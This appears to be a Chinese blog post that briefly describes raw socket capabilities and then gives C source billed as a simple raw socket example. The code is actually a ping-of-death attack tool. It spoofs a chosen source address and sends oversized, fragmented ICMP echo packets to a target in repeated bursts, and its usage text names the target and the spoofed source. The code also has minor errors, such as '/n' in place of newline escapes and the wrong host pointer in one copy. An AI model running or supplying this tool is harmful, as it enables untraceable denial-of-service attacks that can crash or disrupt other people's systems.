原始套接口提供普通的TCP和UDP套接口不提供的以下3个能力:
1.进程 可以读与写ICMP,IGMP等分组。
2.进程可以读与写内核不处理其协议字段的IPv4数据报。
3.进程可以使用IP_HDRINCL 套接口选项自行构造IPv4头部。
下面的简单的tcp row socket 实现,在centos 4 中编译通过
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc,char *argv[]) {
int s,i;
char buf[400];
struct ip *ip = (struct ip*)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp,*hp2;
struct sockaddr_in dst;
int offset,on,num = 100;
if(argc < 3) {
printf("/nUsage: %s<saddress><dstaddrress> [number]/n",argv[0]);
printf("- saddress is the spoofed source address/n");
printf("- dstaddress is the target/n");
printf("- number is the number of packets to send, 100 is the default/n");
exit(1);
}
if(argc == 4)
num = atoi(argv[3]);
for(i = 1;i <= num; i++) {
on = 1;
bzero(buf,sizeof(buf));
if(( s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) {
perror("socket() error");
exit(1);
}
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) {
perror("setsockopt() for IP_HDRINCL error");
exit(1);
}
if((hp = gethostbyname(argv[2])) == NULL){
if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr,"%s:can't resolve,unkown host./n", argv[2]);
exit(1);
}
} else
bcopy(hp->h_addr_list[0],&ip->ip_dst.s_addr,hp->h_length);
if((hp2 = gethostbyname(argv[1])) == NULL) {
if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr,"%s:can't resolve,unkown host/n",argv[1]);
exit(1);
}
} else
bcopy(hp2->h_addr_list[0],&ip->ip_src.s_addr,hp->h_length);
printf("Sending to %s from spoofed %s/n",inet_ntoa(ip->ip_dst),argv[1]);
ip->ip_v = 4;
ip->ip_hl = sizeof(*ip) >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(buf));
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0;
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
for(offset = 0;offset < 65536;offset += (sizeof(buf) -sizeof(*ip))) {
ip->ip_off = htons(offset >> 3);
if(offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418);
if(sendto(s,buf,sizeof(buf),0,(struct sockaddr *)&dst,sizeof(dst)) < 0) {
fprintf(stderr,"offset %d:",offset);
perror("sendto() error");
} else
printf("sendto() is ok./n");
if(offset ==0 ) {
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
close(s);
usleep(30000);
}
return 0;
}